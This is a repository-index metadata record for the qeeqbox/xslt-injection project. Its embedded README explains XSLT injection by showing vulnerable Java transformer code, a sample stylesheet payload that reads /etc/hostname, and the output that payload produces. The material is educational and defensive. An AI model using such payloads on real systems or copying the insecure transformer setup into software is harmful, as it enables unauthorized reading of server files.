{"id":20493856,"url":"https://github.com/qeeqbox/xslt-injection","last_synced_at":"2026-03-19T16:05:13.724Z","repository":{"id":104219239,"uuid":"581644716","full_name":"qeeqbox/xslt-injection","owner":"qeeqbox","description":"A threat actor may interfere with an application's processing of extensible stylesheet language transformations (XSLT) for extensible markup language (XML) to read or modify data on the target","archived":false,"fork":false,"pushed_at":"2024-01-29T00:57:39.000Z","size":105,"stargazers_count":2,"open_issues_count":0,"forks_count":0,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-01-16T05:55:50.491Z","etag":null,"topics":["infosecsimplified","injection","qeeqbox","vulnerability","xslt"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"agpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/qeeqbox.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2022-12-23T20:21:26.000Z","updated_at":"2023-06-23T05:40:24.000Z","dependencies_parsed_at":null,"dependency_job_id":"4a9b751c-ab4a-4791-b997-f88210d53772","html_url":"https://github.com/qeeqbox/xslt-injection","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qeeqbox%2Fxslt-injection","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qeeqbox%2Fxslt-injection/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qeeqbox%2Fxslt-injection/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qeeqbox%2Fxslt-injection/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/qeeqbox","download_url":"https://codeload.github.com/qeeqbox/xslt-injection/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":242075441,"owners_count":20068225,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["infosecsimplified","injection","qeeqbox","vulnerability","xslt"],"created_at":"2024-11-15T17:37:09.596Z","updated_at":"2026-02-23T22:19:58.058Z","avatar_url":"https://github.com/qeeqbox.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"\u003cp align=\"center\"\u003e \u003cimg src=\"https://raw.githubusercontent.com/qeeqbox/xslt-injection/main/xslt-injection.png\"\u003e\u003c/p\u003e\n\nA threat actor may interfere with an application's processing of extensible stylesheet language transformations (XSLT) for extensible markup language (XML) to read or modify data on the target\n\n## Example #1\n1. Threat actor submits a malicious request to a target that has a vulnerable XSLT processor\n2. The target's XSLT processor parses the malicious file (Based on the processor and the version of the XSLT specification)\n\n## Code\n#### Target-Logic\n```java\nResult result = new StreamResult(System.out);\nSource xslt = new StreamSource(new File(\"test.xslt\"));\nSource xml = new StreamSource(new File(\"test.xml\"));\nTransformerFactory factory = TransformerFactory.newInstance();\nTransformer transformer = factory.newTransformer(xslt);\ntransformer.transform(xml, result);\n```\n\n#### Target-In\n```xml\n\u003cxsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:php=\"http://php.net/xs\"\u003e\n  \u003cxsl:template match=\"/\"\u003e\n    \u003cxsl:copy-of select=\" document('/etc/hostname')\"/\u003e\n  \u003c/xsl:template\u003e\n\u003c/xsl:stylesheet\u003e\n```\n\n#### Target-Out\n```\nusystem01\n```\n\n## Impact\nHigh\n\n## Names\n- XSLT Injection\n\n## Risk\n- Read \u0026 Write data\n- Command Execution\n\n## Redemption\n- Secure processing\n\n## ID\n012e4a7b-b8ae-44a6-9b6f-08d24cf7dba2\n\n## References\n- [acunetix](https://www.acunetix.com/vulnerabilities/web/xslt-injection)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fqeeqbox%2Fxslt-injection","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fqeeqbox%2Fxslt-injection","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fqeeqbox%2Fxslt-injection/lists"}